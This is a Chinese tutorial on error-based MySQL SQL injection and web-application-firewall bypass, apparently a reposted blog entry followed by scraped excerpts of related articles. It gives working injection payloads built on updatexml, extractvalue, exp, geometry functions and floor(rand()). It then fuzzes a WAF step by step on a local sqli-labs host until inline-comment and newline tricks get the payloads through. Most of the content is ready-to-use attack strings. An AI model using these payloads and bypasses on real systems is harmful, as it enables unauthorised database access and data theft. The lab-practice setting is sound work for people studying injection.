bypass 之报错注入

0x00 前言

前面讲到了bypass 联合查询和盲注,那么这章节就来个报错注入。

0x01 报错注入与函数

此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。

在联合查询查询能爆出数据是因为在页面有显示位,而盲注只能靠页面返回正常或者错误,这样的方式比较慢,那么这时候如果有报错,可以直接通过mysql的报错语句让他爆出数据。

1.updatexml()

updatexml() 是更新xml文档的函数
语法:update(目标xml文档,xml路径,更新内容) 第二个参数xml路径是可以操作的地方,xml文档中查找字符串位置是用/xx/xx...这种格式,如果写入其他格式就会报错。

select * from users where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

2.extractvalue()

select * from users where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

3.exp()

select * from users where id=1 and exp(~(select * from(select user())a));
exp()以e为底的指数函数,但是如果传递的数太大了,当大于709时,

exp()就会因为重复而报错。 将0按位取反就会得到“ 18446744073709551615”,

再加上函数成功执行后返回0,我们将成功执行的函数取反就会得到最大的无符号的bigint值。

 通过子查询与按位求反,造成一个双倍的溢出错误,可能就可以注出数据。

4.geometrycollection()

select * from users where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from users where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from users where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from users where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from users where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from users where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.floor

select * from users where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
floor(x) 函数,向下取整,返回一个不大于x的值
round(x,d) 函数,根据四舍五入保留指定的小数位数,x指要处理的数,d是指保留几位小数。
rand() 函数,产生一个0-1之间的随机浮点数,若有参数x,则返回一个x对应的固定的值

0x02 bypass盲注

http://192.168.31.17/sqli-labs/Less-1/?id=1 ‘ and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+

那么我们先来fuzz一下拦截的参数

and 不拦截
and updatexml        不拦截
and updatexml()      不拦截
and updatexml(1,1,1) 拦截
and updatexml(1,,1)  不拦截and updatexml(1,1,1  不拦截

那么现在却确定他拦截的是 完整的 and updatexml (1,2,3)  那么我们可以从他的括号做手脚

 and updatexml(1,1,1/*!)*/   不拦截

成功绕过,那么我们现在来查询user(),查询用户名。

‘ and updatexml(1,(select user()),1/*!)*/--+

输入select拦截了还得继续fuzz

and updatexml(1,(),1/*!)*/               不拦截and updatexml(1,(select ),1/*!)*/        不拦截
and updatexml(1,(select user ),1/*!)*/   不拦截
and updatexml(1,(select user() ),1/*!)*/ 拦截

那么他拦截的肯定是user和括号拼接起来的函数

继续fuzz

and updatexml(1,(select user/**/() ),1/*!)*/   拦截
and updatexml(1,(select user+() ),1/*!)*/      拦截
and updatexml(1,(select user--+%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*hex(0)*/%0a() ),1/*!)*/  拦截
and updatexml(1,(select user--+/*!hex(0)*/%0a() ),1/*!)*/  不拦截 试试另一种方法and updatexml(1,(select user(/**/) ),1/*!)*/    拦截and updatexml(1,(select user(/*!/**/*/) ),1/*!)*/  绕过

这里因为没有加concat 等字符拼接函数,所以显示会有问题,这里来添加试试

http://192.168.31.17/sqli-labs/Less-1/?id=1 ‘ and updatexml(1,concat(0x7e,(select user--+hex(0)%0a()),0x7e),1/*!)*/--+

这里被拦截 那么肯定就是concat这个函数。

继续fuzz

and updatexml(1,concat,1/*!)*/  不拦截
and updatexml(1,concat(),1/*!)*/  不拦截
and updatexml(1,concat(0x7e),1/*!)*/  不拦截且回显~号
and updatexml(1,concat(1,),1/*!)*/   不拦截
and updatexml(1,concat(1,,),1/*!)*/  拦截
and updatexml(1,concat(0x7e/*!,*/ (select 1)/*!,*/0x7e),1/*!)*/  不拦截  回显1

这里concat()和concat(0x7e,)不拦截 加多个都好就拦截了 ,那么他肯定过滤了,这里用/*!*/来绕过

现在我们已经回显出1来了 就可以来用user()函数来查询一下

http://192.168.31.17/sqli-labs/Less-1/?id=1 ‘ and updatexml(1,concat(0x7e/*!,*/ (select user--+hex(0)%0a())/*!,*/0x7e),1/*!)*/--+

查询成功  成功绕过waf后面的一些暴库,爆表也是一样的方法思路。

0x03   结尾

啥也不说插个表情包

原文地址:https://www.cnblogs.com/nice0e3/p/12681697.html

时间: 2024-10-07 15:34:49

bypass 之报错注入的相关文章

SQL报错注入总结

1.Floor()报错注入 关于Floor报错注入原理可以看http://blog.51cto.com/wt7315/1891458 获取数据库 select count(*),(concat(0x3a,database(),0x3a,floor(rand()*2))) name from information_schema.tables group by name; 获取表名 select count(*),concat(0x3a,0x3a,(select table_name from i

使用insert、update和delete报错注入

使用insert注入 1.原理 一般我们写SQL注入的过滤器的话,重点关注的关键词就是select了,因为这个关键字可以从数据库中查询信息.所以一旦这个函数杯过滤,并且无法通过其他方法进行绕过的话,注入工作可能会变得比较困难. 如果在有用户注册的页面的话,后台SQL语句会有类似insert出现,例如 insert into user(id,name,pass) values (1,"tony","123456"); 这里是可以进行报错注入的.主要就是用到了两个Mys

SQL报错注入的十余种注入方式

报错注入原理: 由于rand和group+by的冲突,即rand()是不可以作为order by的条件字段,同理也不可以为group by的条件字段. floor(rand(0)*2) 获取不确定又重复的值造成mysql的错误 floor:向下取整,只保留整数部分,rand(0) -> 0~1 本地环境搭建数据库测试注入姿势: mysql> create database sqli; mysql> create table user ( id int(11) not null auto_

【菜鸟学注入】之MySQL报错注入详解

本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入 用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的.如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询 创建一个test表 USE test; CREATE TABLE test(num int(5

mysql报错注入手工方法

以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩固复习. 总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用. 公式具体如下 and(select 1 from(select count(*),concat((select (select (select co

又一种Mysql报错注入

from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的Mysql) mysql> SELECT 18446744073709551610 * 2; ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)' mysql> SELECT

XerCMS-1.0.3代码审计(文件名报错注入后台getshell)

链接:https://share.weiyun.com/6b98e41d036967178e1a21fb88ed340f (密码:YnNY) 文件名报错注入 index.php?m=member&a=upfiles&id=2 在这个文件夹中XerCMS\Modules\member\index.php 前台注册个用户 在头像上传处抓包reperter一下用mysql监控工具 发现有insert数据库操作 分析一下 跟进upfiles函数 public function upfiles()

Mysql报错注入原理分析(count()、rand()、group by)

0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和order by一起使用,也没彻底说明三者同时使用报错的原理. 0x01 位置问题? select count(*),(floor(rand(0)*2))x from information_schema.tables group by x; 这是网上最常见的语句,目前位置看到的网上sql注入教程,f

cmseasy CmsEasy_5.6_20151009 无限制报错注入(parse_str()的坑)

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137013.html parse_str()引发的注入, //parse_str()的作用是解析字符串并且把字符串注册成变量,第二个参数$arr是一个数组,parse_str()之前会先urldecode,也就是会二次url解码,实现单引号逃逸. 漏洞距离现在好像有点年代久远,有个限制就是对于php的版本要小于5.4,因为5.4以后默认关闭gpc,如果关闭gpc就会调用addslashes